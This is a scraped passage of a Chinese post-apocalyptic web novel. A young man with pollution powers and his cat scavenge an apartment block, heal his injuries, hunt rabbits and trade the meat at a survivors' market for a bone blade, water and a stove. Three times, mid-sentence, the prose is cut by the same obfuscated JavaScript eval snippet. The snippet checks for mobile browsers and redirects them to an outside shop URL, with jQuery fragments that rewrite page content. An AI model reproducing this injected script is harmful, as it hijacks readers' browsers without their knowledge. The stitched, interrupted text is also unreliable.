孟星洲还是拍拍迟菟:“我们搜房子吧。” 既然走不远,索性就先搜12栋的房子。 孟星洲所住地12栋只有两个单元,共20个房子,孟星洲一层一层地向上清扫。 301侧卧 能用的大部分都被搜走了。 孟星洲翻了一会儿,倒是找出不少手办、盲盒,擦去表面灰尘,塑料小人们还鲜亮地摆着各种造型,两个盲盒甚至拆出一个隐藏款。 孟星洲第一次开盲盒,好奇地摸摸隐藏款:“这款好像炒得很贵,质量还挺不错。” 他一直很喜欢这些花花绿绿的小东西,奈何周边们价格不菲,不是孟星洲一个靠生活费的高中生可以消费的,所以孟星洲虽然遍览周边发布,却一个也没有买过。 有点……想要。 但也确实没什么用,家里也没有能陈列它们的柜子。 孟星洲慢慢、慢慢放下隐藏款。 孟星洲的影子还在消化污染,他能感觉到影子的面积和容积都在变大,在地面上慢慢蠕动,不时伸出触角四处乱爬,吃下去一些完全没用的垃圾,又噗噗喷出来。 孟星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538060|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲一转身,影子立刻向手办延伸,一堆花花绿绿的小人无声陷入影中。 孟星洲转头,发现小人们一个不剩。 他沉默两秒,遵从内心的欲/望,装作什么都不知道地去往主卧。 好在收获里也不全是时尚小玩具,还是有一些可用的东西。 302室 迟菟在垃圾堆里翻出一块手表,竖着尾巴颠颠送到孟星洲脚边。 孟星洲揉揉小猫头,他刚刚在一堆塑料袋里找到一个塞得鼓囊囊的背包。 拉开拉链,里面是打包好的睡袋和两件冲锋衣。 看起来是幸存者藏在这里的物资背包,因为没有最重要的食物和水而被暂时丢弃。 孟星洲:“我们有地方睡觉了。” 迟菟:“咪!” 是不是菜菜狗逛到这里,吓跑了来搜东西的幸存者,才留下这么好的东西! 孟星洲想起向阳花苑也是菜菜可能刷新的区域之一,点头:“有可能。” 他捋了把小猫天线:“迟菟好聪明。” 迟菟的尾巴激动得颤动起来。 302的惊喜不止于此。 孟星洲走到侧卧,进门就看见一大块窗帘布,他掀开窗帘,露出底下巨大的白色水塔! 水塔总高度超过一米,是标准的圆柱体,底部直径有孟星洲手臂长,桶身靠下的位置开孔。装有水龙头。 孟星洲拧了下龙头,还能使用! 迟菟仰头,震惊:“喵!” 这是什么! 孟星洲给小猫科普一些没用的人类小知识:“这是聚乙烯材质的储存容器,耐酸碱高温,有很多种规格,大的能有几吨容量。隔壁小区的高层就用这个二次供水,把两个水塔都带回去,我们就不愁储水问题了。” 所谓的水塔,就是质量绝佳的巨型水桶,用途广泛,不仅能储水,工业上甚至能存放化工原料。 孟星洲找到的水塔,单只容量超过500升,原本储存的水早就被放完了,内部干燥,没有滋生霉菌。 孟星洲:“应该是原屋主准备的储水容器。水塔比普通水桶强得多,就是体积太大难以携带,我猜无论是屋主,还是后续来搜刮的幸存者,都没法隐蔽地带走它,只好找个东西盖住,希望有机会回来拿走。” 可惜每个发现它的人,最后都出于各种原因,没有再回来。 小猫窄窄的世界被扩展了,迟菟睁大眼睛:“喵。” 原来这个世界上有这么多神奇的东西。 “末世以前,这种东西二三百就能买一个,原主人应该干过工地,不然也不会知道这个,”孟星洲轻拍水塔,“现在这好东西归我们了。” 迟菟对巨型水桶的实用性没有概念,只是污染源高兴,它就稀里糊涂地也跟着高兴:“咪!” 但是太大了,我们一个一个搬去据点吗? 孟星洲蹲下来摸迟菟:“不加入据点了,但集市还要去。等腿不疼了,我再下去打点猎物,去集市换点生存物资。” 他今天还损失了一把水果刀,在向阳花苑也没搜到一柄像样的武器。 虽然有几把菜刀,但菜刀只适合劈砍,杀伤力远不如有穿刺能力的水果刀。 “是我之前想的太天真了,”孟星洲挠着猫下巴,“待在任何一个据点都要提心吊胆地掩藏自己污染源的身份,你也要全天24小时装成一只普通小猫,藏着两个秘密,说不定哪天就露馅了。” “而且74136放生了那几个座椅,如果他们运气够好,很有可能已经活着加入广场据点,说不定会把我们的消息也带过去。” “74136看起来比之前清醒很多,看起来也不排斥我们,它又是镇子上等级最高的污染物,我们可以学广场的做法,住在幽灵大巴的地盘附近。” “等去完集市,我就把整个12栋都清出来,以后我们就住在这里,好吗?” 迟菟蹲在污染源身边,竖起细长的小尾巴。 “咪!” 它重重点头。 猫,不是流浪猫了。 迟菟以更严肃的态度,打量这套房子。 老式步梯房,虽然种种不便,但依然是个遮风挡雨的落脚地。 孟星洲看着迟菟左蹭右蹭,在房内留下气味,也没有阻止。 本来也脏,等明天换到水,把自己和迟菟一起洗了。 趁迟菟沉迷标记领地,孟星洲走到一旁坐下,低头的时候皱起眉,担心被迟菟发现,又很快舒展开。 上楼对于伤筋动骨的人来说,还是负担太重了,孟星洲每一次走动或翻找东西,骨裂的地方都会传来明显的疼痛。 明天需要面对未知的集市,要想个办法快点恢复。 但他没有【治愈】这类天赋,怎么能使自己的伤势更快地好转? 孟星洲低头,看着影中游动的黑尾。 污染溶于血肉,如果加快污染的融合,是不是也能促进伤口愈合? 10. 骨刀 四月初,气温虽然依然不稳定,但能从逐渐延长的白天和明显上升的最高气温看出,夏天还是要来了。 孟星洲坐在302室,靠在一张茶几上。 他闭上眼睛,强迫自己总是很发散的注意力收回到自身。 他是个对污染很敏感的人,甚至在觉醒【天赋】之前,他都比常人更敏锐地察觉污染,靠着这种直觉,他是处理厂效率最高,处理最干净的员工,经过他手的污染物,总是以最小的损耗,达到最低的污染值。 也许觉醒【污染】这种能力完全不奇怪。 这么一想,天赋之所以定义为天赋,而不是异能,可能就是因为天赋的诞生与感染者本身有一定的关联性。 孟星洲强迫自己再次集中注意力。 很快,他漆黑一片的视线里,出现了一股股“水流”,在一个人形轮廓里循环流动,有些地方顺畅地流过去,有些地方却发生了断流,只有微量水流淤积在断流处,正在被不断地消耗。 孟星洲试着动了下受伤的地方,断流的位置也跟着动起来。 孟星洲:“……” 没想到污染们也都是懒鬼,只愿意走通畅的道路,一旦发现前路不同,就会选择绕路行驶。 孟星洲牵引更多的水流涌向受伤的部位,他的身体和灵魂一样,对污染有极高的敏锐度,涌进来的水流被高速融入身体。 终于,断流处的污染重新恢复交通,涓涓地从伤口处流了过去。 疼痛明显减轻! 孟星洲睁开眼睛,撩开袖子,原本只是止血的伤口居然结痂了,眼睛微亮:“有效果。” 他见过受伤的天赋者,在没有【治愈】或【自愈】这类天赋的帮助下,天赋者们依靠自身,是绝做不到这个程度的。 现在的孟星洲,相当于持有一个低配版本的【自愈】,以后即便受伤,他也能比其他天赋者更快地恢复过来。 甚至如果他主动将污染输入到其他生物体内,也许能够起到类似于【治愈】的效果。 也不行,这样相当于增加眷属。 孟星洲想起自己那如同地雷一样,不知道什么时候就会给予对方天赋的能力,及时截断了这个危险的想法。 孟星洲刚刚起身,被门外传来的呜呜声惊住。 是迟菟的声音! 孟星洲两步出门,只见迟菟堵在301的门口,弓腰奓毛,喉咙里发出“呜呜”的声音。 不知道什么时候,太阳已经完全落山,楼道里漆黑一片,孟星洲眯起眼睛,盯了几秒,才发现是楼道里跳上来几只兔子,正和迟菟对峙。 才住了一天,竟然就有污染物摸到楼上来了。 迟菟没有去叫他,而是守在门口,冲兔子们哈气。 七八十点污染的小猫还是有点威慑力的,几只兔子踌躇不前。 “迟菟,回来。” 孟星洲出声。 迟菟弓着腰两下跳到孟星洲脚边,被污染源弯腰捞起来。 迟菟:“咪咪!” 您别害怕!我会咬它们! 孟星洲道:“我刚刚还在发愁,明天去集市带什么做交易。” 迟菟仰起头,看见污染源微微弯了下唇角:“还有上门送快递的。” 黑尾从他的影中醒来,向不速之客们张开看似无害的口器 …… 因为孟星洲的伤势好了很多,所以还是带着迟菟回到了502。 孟星洲扫出一块地面,铺上干净的塑料布,郑重将睡袋安置下来。 迟菟叼着比自己还大的包裹,岔着四爪进了门,嘴一松,瘫在包上不动了。 孟星洲拍拍睡袋:“来这里躺。” 软软的睡袋,可以睡觉的新床! 迟菟一个翻身,竖着尾巴咪咪叫着奔过去,刚想往里钻,又想起自己一身灰尘,于是一屁股坐在塑料布上,呼噜呼噜地给睡袋踩奶。 它谨慎地收起爪子,唯恐抓坏了家里最贵重的财产之一。 孟星洲也不强求它进去。 睡袋虽然打开了,但他也打算明天洗过澡之后再用它睡觉。 孟星洲捏住迟菟的尾巴,晃了晃:“你看家,我去隔壁把兔子处理了。” 迟菟沉迷于爪下柔软的触感,稀里糊涂地答应了。 孟星洲起身,去到隔壁501,从影子里捞出若干塑料小人,一个水塔,一个折叠小车,以及六只大兔子。 黑尾放倒那五只闯进楼道的兔子后,顺带吐给孟星洲35点污染。 变异犬的527点污染,加上兔子的35点。 孟星洲的污染值来到了678,阴影的容量也从100升,直接提升到700升,让孟星洲得以打包一堆有用没用的东西上楼。 但孟星洲知道,现在升级快,只是因为前十级之间每级的量级差距小而已,这也是他能杀死八级变异犬的重要原因之一。 他与变异犬之间乍一看有七级的差距,实际污染的差值都没有10级和11级之间大。 孟星洲准备把这些兔子处理成肉块,带到集市上换取物资。 六只兔子共出了45斤肉。 兔子的出肉率本来就低,但他占了大便宜——这几只兔子是被黑尾抽走大量污染的,连骨骼和内脏对普通人来说都是安全的。 处理完这些兔子,孟星洲大方地拧开一瓶水,把自己和迟菟都擦了一遍。 感染之后,他的体温一直比正常人更低,容易觉得热却又不怎么出汗,简单擦掉灰尘后又是白净的高中生。 孟星洲将一块兔肉放在猫碗里,剩下的都打包扔进影子。 放在影子里,兔子们放到明天也不会坏。 迟菟一个打滑摔到在猫碗前,顾不得爬起来,一头埋进猫碗里。 孟星洲看着狼吞虎咽吃肉的迟菟,捏捏它的耳朵尖:“慢点吃,别噎着。” 40斤肉不知道能换什么,他和猫缺的东西太多了。 孟星洲看了看屋子。 家里堪称家徒四壁,所有的柜子甚至楼梯扶手都被人拆走,只剩个玻璃护栏。 目前孟星洲的生活状态,照明靠太阳月亮,通讯靠心灵感应,住在工业时代的钢筋水泥小楼里,过着不如农耕时代的原始生活。 只有手里的塑料瓶和半袋干脆面,还闪烁着文明的光辉。 如果能有发电机或者太阳能板就好了,启动冰箱,至少可以存放更多的物资。 孟星洲揉了揉眉心:希望这些处理肉块,在清河西镇也一样受欢迎。 …… 清河西镇,快乐广场 所谓的快乐广场,就是快乐商城前的一大片空地。 到集市这天,商场里的幸存者会把铁栅栏打开,留一个容纳一人进出的缺口。 集市也完全没有赶大集的热闹。 明明在家门口,商城却只有两个人出面参与,售卖的主要物产都是蔬菜果瓜和主食,以及程行提供的清洁水源。 袁卓守在入口,鬼鬼祟祟地问:“哥,你说那个污染源今天会来吗?” 程行摇头:“不好说。菜菜确实死了,他肯定也受了不轻的伤,我早上在附近搜了一圈,没找到人。我估计他也……凶多吉少。” 袁卓耸肩:“也是。他走的那个样子显然是行动受限,不在附近过夜,难道往远的地方跑?晚上的污染物完全发癫了。这个镇子里最安全的过夜方法,除了进据点,就是在不回【停车场】的幽灵大巴里待一晚上。他去南山都来不及吧。” 程行紧紧皱着眉:“但我心里总有点担心……” 袁卓:“你发愁也没用啊,先把眼前的集市过了再说。曲哥今天也不出来吗?” 提到曲凌,程行的眉心皱的更紧,又强行平复表情:“老宅男了,天天跟他那些花花草草相亲相爱,别管他,南山据点的人来了。” 袁卓转头。 南山据点照例开来两张皮卡,也照例只下来两个普通人。 南山据点的幸存者人数众多,耕种和养殖提供的食物并不足够,所以南山据点参与交易的主要目的就是换取粮食,用他们的特产—— 南山幸存者拿起一个麻袋,哗啦啦倒出一堆骨刃。 袁卓“啧”一声,嫉妒道:“他们的骨刀真好用,就是每一个月就稳定报废,一直要从他们手里买。为什么我们自己磨的骨刃不好用?” 普通刀具杀污染物报废率极高,杀个兔子都崩口卷刃,多磨几次强度就跟不上了。倒是这种取自污染物自身骨头,经过加工的冷兵器,韧度和强度都很好。 至于锋利度?那玩意儿会磨就行。 程行也很羡慕:“人家天赋是这个,学也学不来。” 普通人装备上骨刀,就算是胡乱挥砍也颇有杀伤力,所以南山的刀从来不愁销路。 程行正要上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538061|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,眼神突然一凝。 不只是他,南山负责摊位的幸存者都转头看向同一个位置。 袁卓下意识跟着扭头—— 马路上出现一道身影,正径直向集市走过来。 从没有据点的方向来的,没见过的幸存者! 来人看身段是个年轻男性,末世常见的高瘦身材,穿着黑色棒球服,戴一顶鸭舌帽,手里拖着折叠营地车。 走到路口时,他还下意识停下脚步,看了眼早就不亮的红绿灯,仰头的时候,露出一截冷白的脖颈。 末世还有这么白的人? 走得近了,袁卓才发现对方的折叠车里赫然坐着一只黑白奶牛猫。 奶牛猫,这不是监控里那个污染源吗?叫孟星洲那个! 他居然真的还活着?而且…… 袁卓紧盯着孟星洲的四肢。 而且昨晚留下的伤势似乎并没有他们想的那么严重,今天甚至能正常行走。这个人难道还持有治愈方面的天赋? 【污染】、【触手】,如果再加上治愈方面的天赋…… 难道孟星洲有三个天赋? 清云基地知道他们到底放了什么出来吗?! 孟星洲拉着折叠车,在靠近岔路口的时候,看见了被高层小区挡住的快乐广场。 广场被铁栅栏包围,电网奇怪地缠在栅栏下部。虽然通电后栅栏整体带电,但缠在低矮位置…… 看起来更像是防备着体型更小的污染物? 孟星洲微微皱起眉,清河西镇有什么东西泛滥成灾了吗? 广场后是五层商城,幸存者聚居的地方,门口还摆了几盆花,风送来明显的花香气。 集市完全不是孟星洲想的人来人往,只有寥寥几个人。 今天的铁栅栏打开一个入口,一张老式课桌摆在入口前。有两人一坐一站守着入口。 站着的人身材魁梧,十几度的天气里穿着单薄的长袖,肌肉将布料撑起明显的弧度。 坐着的那个一头乱糟糟的头发,戴着个瓶底厚的眼镜。 和看一眼就移开视线的其他人不同,这两人的视线随着孟星洲的步伐移动。 戴眼镜的简直把震惊写在脸上,眼珠恨不得从眼眶里瞪出来。 孟星洲停下脚步:“……” 他就知道,74136放走的几位倒霉蛋肯定加入了快乐广场,并且带去了关于他的消息。 奇怪的是,他又没和倒霉蛋们合影留念,这两个素未谋面的陌生人是怎么一眼认出自己的?有特殊的天赋? 孟星洲微微皱眉,他有点犹豫要不要参加集市了。 程行盯了一会儿,突然道:“那小哥,怎么不进来?你是第一次参加集市吧。直接进,我给你搬个椅子。” 袁卓悚然。 程行居然会对这种危险未知的污染物主动示好? 程行语气有些怀念:“你看着真小,我弟弟也跟你差不多大。” 孟星洲稍稍抬高帽檐,审视面前这个高大的男人。 叽里咕噜说什么呢,末世两年还打感情牌? 这招不是很管用。 程行转换策略,意有所指:“直接进来呗。小哥一看就知道是城里人,讲究!我们清河西老农村,可没有市里那一套套的规矩,没什么比吃饱肚子更重要的事。” 孟星洲:“我就是清河西本地人,反而听你讲话不是本地口音。” 程行尴尬地咳了两声。 心道这污染源末世前就是一高中生,大概是没听懂自己什么意思,正要说明白点,高中生冲自己一点头,慢悠悠拉着车进来了。 程行:“……” 孟星洲拖着他的小折叠车路过。 程行也有段时间没大口吃过肉了,忍不住多看了两眼折叠车:“我是程行,路程的程,行走的行。你车里这些肉怎么卖?” 商城一共就他和曲凌两个天赋者,曲凌不能离开商城,他一个出门能打到的猎物实在有限,据点里人口又多,那点荤腥平均到每个人头上,实在只有几口的量。 孟星洲只报了名字:“孟星洲。” 这个程行,应该就是笔记里提到的“程大哥”,商场据点的创建人。 从程行的表现来看,广场这个据点应该很缺肉。 孟星洲轻轻踩住折叠车:“处理过的兔肉,污染值已经降到最低,换大量饮用水、盐还有武器。” 11. 天赋道具 袁卓这个大近视终于看清了折叠车里的东西。 整整几十袋的肉!估计有几十斤! 袁卓使劲儿吞了下口水。 孟星洲微微挑了下眉:看来这些肉不愁出手了。 “车里一共42斤兔肉,我以前是在处理厂工作的,这些肉拿回去可以直接下锅,不会再有切割损耗。” 程行摸着下巴:“42斤肉……买完武器还能剩不少,你想要什么样的武器?” 普通的刀具、球棍这类,商场里倒是一堆。但是孟星洲想要的武器,可能不是这些周抛“玩具”。 孟星洲想了想,狮子大开口:“我想要一把天赋道具。” 所谓天赋道具,指的是自身可以散发污染的物品。 处理厂发放给员工的刀具,就属于道具一类,这些东西属于基地财产,禁止流通,别说孟星洲一个流放者,非天赋者是不能购买任何道具的。 孟星洲甚至只是随便问问,对能买到天赋道具这件事并不期待。 程行摸着下巴:“我就猜到你想要天赋道具。我们集市……还真有。不过你应该知道,市面上流通所谓的天赋道具,只是比普通物品更耐用,或者更有杀伤力。那种据说携带特殊效果的道具非常稀少,我见都没见过。” 少数天赋道具如同天赋者一样,携带特殊效果,但就算在清云基地,这一类的天赋道具,也是一只手能数得过来的。 能有普通道具已经是意外之喜,孟星洲点头:“我知道。” 程行放下心,他还担心孟星洲年纪轻,又从大据点出来,张嘴问他要特殊效果的天赋道具。 程行道:“跟我来吧。我们据点不卖这个,南山才有这稀罕玩意儿。” 南山据点居然出产天赋道具? 孟星洲拉着车跟在程行身后。 广场不大,其实一眼就能看到南山据点的摊子。 负责摊位的还是“熟人”——窦思莹和吕成。 程行走得慢,低声说:“南山的天赋道具是骨刀,样式多也趁手,但到你手上开始,30天后一定报废,直接碎成骨粉。” 孟星洲皱眉:“那不就变成快消品了?” 程行耸肩:“往好处想,就因为是快消品,你才能便宜买到。” “南山靠这些骨刀和其他据点稳定贸易,每个月都能收入大量的粮食和能源。粮食就算了,汽油柴油这样的稀缺货也不少。看到那两张皮卡了吗,都是烧油的家伙事。整个镇子上除了幽灵大巴,只有南山据点的车能跑远途。” 孟星洲看着汽油桶,心动:“有汽油,那你们有发电机吗?” 程行:“不卖。那玩意儿据点自己都不够用的,你待会儿从我这儿买个炉子得了,烧水煮菜,冬天还能烤个火。” 孟星洲:“……” 说话间,两人到了南山据点的摊子前。 吕成有些激动:“你参加了广场这边的据点啊!我们还以为你昨天……” 看来是运气很好没碰上守卫说的那个东西。 孟星洲看了眼程行,否认:“我住在74136终点站附近,晚上不出门的话,待在建筑物里还是相对安全的。” 窦思莹和程行都愣了下。 两人很快反应过来,孟星洲这是想和快乐广场一样,将自己和幽灵大巴绑定在一块。 程行笑道:“是这个道理。普通人只要不直接暴露在污染物面前,污染物一般优先攻击污染物。” 污染物之间互相吞噬,是为了提升等级,吃人不是污染物的第一选择,除非饿急眼,或是受伤后发现普通人更容易被捕食,才会形成吃人的习惯。 当然,要是脑子有问题直接冲到污染物面前,污染物也是不吃白不吃。 吕成挠挠头:“原来是这样。” 他运气不错,从74136下车的时候,正好是白天,看到指路牌后就一路奔向南山据点,路上也偶尔碰见些兔子老鼠什么的,并没有受到对方的攻击。 窦思莹低头,整理摊子上的东西,笑道:“你们是来换购东西的吧?我们这次带出来二十五柄骨刀,还有四盒感冒药。” 孟星洲视线扫过摊子。 骨刀整体由骨骼制成,呈现玉化后的质地,洁白细腻,都用伞绳缠着刀柄。 二十五把骨刀形制大小不一,最长的一把也就在30公分上下,看样式是一把多用途军刺。 南山据点虽然卖武器,但看起来还是很防备其他据点,这些武器在近战里还有些杀伤力,稍微拉开距离就不如砍刀一类。 孟星洲扫了一眼,毫不犹豫地伸手拿起最长的一柄,在手里轻轻一掂,一点污染顺着接触面在刀身内转了一圈。 污染在刀身内畅通无阻,这柄军刺不仅最长,污染值最高,刀身和污染也融合得最好。 孟星洲很满意:“可以试刀吧?” 窦思莹连连点头,摸出个新鲜的大棒骨扔到桌上,人往后退了好几步:“可以试刀。” 程行眼睛瞪大:“小兄弟,这刀得有一斤多,你确定能用的动?” 孟星洲奇怪地看了程行一眼:“我知道。不是说过我在处理厂工作吗?东西的重量到手我就能猜出来。” 程行哭笑不得:“我叫你哥了。大部分菜刀都没有一斤,剔骨刀之类的可能就三百多克,超过一斤的刀具高频使用是很累……” 剩下半截话戛然而止—— 孟星洲让这柄三十多厘米的军刺在手上转了半圈,洁白刀刃在太阳下晃出一片光晕,只听到哐!一声闷响! 棒骨被一刀两断,大腿粗的骨头切口平整,暴露出粉色的骨髓。 孟星洲检查刀刃。 玉白的刃口没有崩裂卷曲,仍旧平滑锋利。重心控制得当,处理厂发放的刀具手柄也是伞绳缠绕,孟星洲对这种材质的手感十分熟悉。 生骨不如熟骨硬,但这毕竟是污染物的骨头,常规的砍骨刀不仅无法斩断骨头,还会直接断刀。 程行看着孟星洲纹丝不动的手腕,闭嘴了。 他对孟星洲是个用刀高手毫不意外,毕竟处理厂出身,怎么可能不会用刀。但程行看孟星洲的身材,还以为这高中生是走辅助控制路线的,谁知道出手这么暴力! 和瘦削身材完全不符的……爆发力。 同体型的低级天赋者想有这种力气,除非持有类似于【巨力】的天赋。 这就是污染源和普通天赋者的区别吗? 窦思莹伸头,欣喜极了:“谢谢谢谢,中午能吃上骨髓了。” 这么硬的棒骨可不容易敲开! 孟星洲已经检查完刀刃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538062|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着欣赏棒骨,这种骨头对他而言也是老熟人:“这是一级污染物塔角牛的腿骨吧?你这根很新鲜,炖汤只要放点盐就很香。以前我在基地的时候,偶尔会买一根回去炖。” 迟菟馋得舔了舔嘴巴:“咪。” 孟星洲低头:“有机会也给你炖。” 窦思莹笑眯眯解释:“我和吕成这傻子过两天要去贴招募路牌,才能分到这根骨头,要是没有你帮忙,里面的骨髓靠我们两个人真的很难弄出来。” 末世前喝汤是为了口腹之欲,喝多了还容易嘌呤摄入过量进而引发痛风。但末世里,大部分人都营养不良,肉汤也就是好东西了。 孟星洲:“不客气,这刀怎么卖?” 窦思莹解释:“所有骨刀价格一样,主食类30斤,或者肉15斤,不收蔬菜。价格能这么便宜,因为我们这个刀是消耗品,你知道的吧?” 孟星洲点头。 两倍差值,看来南山据点对肉类并不那么感兴趣,更倾向于获取大量主食。 孟星洲将15斤兔肉交给窦思莹。 窦思莹转身,从衣服里摸出一只皮革的刀鞘,递给孟星洲,低声:“这个是我自己做的,可以凑活用。我也是南山据点的新人,昨天说的话可能有不清楚的地方。” 她不知道孟星洲昨天是没有碰上守卫所说的污染物,还是撞上了但侥幸逃脱,如果是后者,她也就等于得罪了孟星洲。 也是很奇怪,她总有种强烈的预感,不应该得罪孟星洲。 刀鞘大概是牛皮的,做工谈不上精致却很结实,绝对不是凑活用的程度。 至少孟星洲自己没有这样的手艺,这个刀鞘让整个刀便于携带。 孟星洲:“我知道。” 集市这样的场合,快乐广场居然只有两个人出面,他就知道窦思莹之前并不是有意骗他——集市上几乎不能交流信息,窦思莹给他的信息估计大部分靠猜,除了没料到菜菜,其他都挺准确。 何况窦思莹没有害他的动机。 孟星洲从车里摸出一个红色塑料袋,往桌上一扔:“送你这个。” 窦思莹:“我不……” 孟星洲没听,拉着车往集市入口的方向走:“换饮用水,我还赶着回去。” 窦思莹只好闭上嘴,拿起袋子,坚硬和柔软混在一起的手感让她一愣,打开袋子,里面竟然一副兔骨架和一整块兔皮! 骨架剔得相当干净,但下锅能煮汤,兔皮使劲刮一刮,还能刮下一点油! 吕成小心看了眼皮卡,兴奋道:“姐,没人看我们,快收起来。” …… 程行:“昨天就是那小丫头叫你来这边的?” 这是直接告诉自己,他已经知道自己昨天来过了? 孟星洲停下脚步:“我比较好奇一点。” 程行:“好奇什么?” 孟星洲真心疑惑:“好奇你们是怎么一眼认出我的。是有什么千里眼之类的天赋?还是74136放走的人里有美术专业?” 程行:“这个啊,那是因为我们据点有个共同的天赋。” 什么叫据点共有天赋? 孟星洲微微睁大眼睛:? 多人持有一个天赋?在清云基地从来没听说过。 程行:“叫有线监控。” 12. 变量(捉虫) 程行乐死了,指了下前面的云舒华府:“朋友,我们这是小据点,不是原始社会。为了监控变异犬的日常行动,我们在云舒华府的两个大门都装了监控。” “你还随身带着这么个奶牛猫,不跟个标记物一样?我打一眼就认出你了。这可是末世,揣着个宠物猫到处走的人真是一只手都数得过来。” 孟星洲:“……” 迟菟:“……” 一、一直在给污染源闯祸的感觉…… 孟星洲直接转移话题:“你们卖种子吗?” “什么种子?” 程行一口拒绝:“没有,不卖。” 开玩笑,周围几个据点里,就他们能稳定出产粮食,以此换取汽油酒精一类的能源,维持发电机组的运转,程行怎么可能让其他据点有和他竞价的可能。 植物也和动物一样被大范围污染。不过相较于食用动物,人类摄入植物进而导致感染的概率却极其低。 但这不代表植物就是容易获得的食物。 和动物们力拔山兮气盖世的变异方向不同,植物相对来说更喜欢增加毒性。 剧毒的植物甚至可以放倒天赋者,需要专家研究后重新育种。而木系天赋者在育种这方面,简直是无可替代的加速器,极短时间内就能培育出相对稳定的良种。 孟星洲:“你们据点不是有木系天赋者?” 不等程行回答,他又道:“你说没有就没有吧。” 商城这种地方,想要两三个天赋者养活几十甚至上百口人,怎么可能没有天赋者。 何况商城门口那两棵看起来无害的盆栽,分明是刻意放置的污染物,茎秆上长着细密的小刺,异常馥郁的香味笼罩着整个广场,连兔肉的血腥气都盖住了。 程行摸了摸下巴,突然意识到孟星洲虽然是本地人,但现在却是初来乍到,完全是两眼一抹黑——虽然孟星洲和南山据点的人打过交道,但连自己这边有木系天赋者都不知道,居然要靠猜。 孟星洲:“你在打算什么,以后找机会骗我吗?” 程行咂咂嘴,正要否认,只见孟星洲偏过脸看他:“你刚才不是说,看我像你弟弟一样吗?” 程行一哽。 这高中生嘴上说着什么都不知道,态度却坦诚得有点奇怪,好像有什么底牌一样。 程行心里啧了一声。 他太天真了。这小子是板上钉钉的多种天赋持有者,万一有隶属于全知这一系列下的天赋呢? 好在到底是小孩,不够精明,有点本事也藏不住。 程行多少还是拉起了点警惕心。 不能这么掉以轻心。 这个孟星洲虽然不像小寸头说得那么邪性,但秘密也太多了。 一个分类上应该是污染物的人类,接触起来却完全没有污染物的偏执,或者说根本就是个高中生,想法写在脸上,被逗了会小小报复回去,简直比正常人都情绪稳定。 就连那只奶牛猫,都稳定得很怪异。 怎么做到的? 是等级低,还是成为污染物的时间太短,所以没有触摸到疯狂的边缘?还是…… 真的像程行想的那样,作为【污染源】的孟星洲,有什么特殊手段? … 剩下兔肉,主要兑换了饮用水,少量主食、调味品和一个小型柴火炉。 其中柴火炉最贵,价值15斤兔肉和三张兔皮。 是个自带玻璃门的壁炉式柴火炉,体积不算大,配备烟囱和加热板。 程行道:“别嫌贵。这炉子炒菜是不太好用,但煮东西或者直接铁板烤肉都行。还安全,门一关,烟囱伸出去,不容易失火或者一氧化碳中毒。” 剩下的兔骨头和兔皮换了打火机,手电筒等零碎小物件。 相比于已经恢复供水的清云基地,快乐广场的清洁水要贵一些,一斤肉换20升水,好在这些水可以直接饮用不需要烧开,节省一笔燃料费。 孟星洲换了200升水,但他带来的小拖车容量只有100L,他不打算暴露影子的储物功能,只拿走其中一部分,加上其他物资一起装上拖车。 孟星洲出了广场之后,总觉得有视线若有若无的视线黏在自己身上。 孟星洲走了两步,忽然回头,果然在商城二楼的玻璃窗后,抓到一双偷窥的眼睛。 迟菟:“喵!” 是要吃猫的坏家伙! 寸头偷窥被抓包,忙不迭转身逃跑,因为腿瘸在地上摔了一跤。 迟菟:“咪啊。” 孟星洲:“……瘸了啊。” 一人一猫同时转头,不再关心寸头。 孟星洲沿路回去,路过云舒华府正门的时候,他脚步微顿,转身进了小区。 迟菟竖起耳朵:“喵?” 我们要搜这里吗?这里以前有菜菜狗游荡,应该没被搜过很多次吧? 小猫磨爪,打算为污染源搜寻更多的财富! 孟星洲摇头:“离快乐广场太近了,而且商城的幸存者主要来自云舒华府,搜这里很容易引发矛盾。” 虽然许多幸存者当时放弃了云舒华府,转移到商城,但就和孟星洲回到向阳花苑一样,依然将自己曾经居住过的房子视为所有物。 孟星洲:“商城至少两个天赋者,而且生产大量的水和主食,没必要得罪他们。而且就算有菜菜,这里肯定被搜过不止一次。” 孟星洲示意迟菟去看小区的绿化带:“和外面一样,大点的树木甚至灌木都被砍了。应该是冬天大降温,实在熬不下去,不得不冒险来砍树。” 来都来了,这不顺手搜一遍? 17号就算是安全日,集市的动静也不算小了,菜菜也许听到了,都不愿意下来殴打人类,可见本质上是一只懒狗。 迟菟疑惑:“喵?” 那我们来做什么? 孟星洲沉默几秒,没有回答。 迟菟从这份沉默里,很快意识到了什么—— 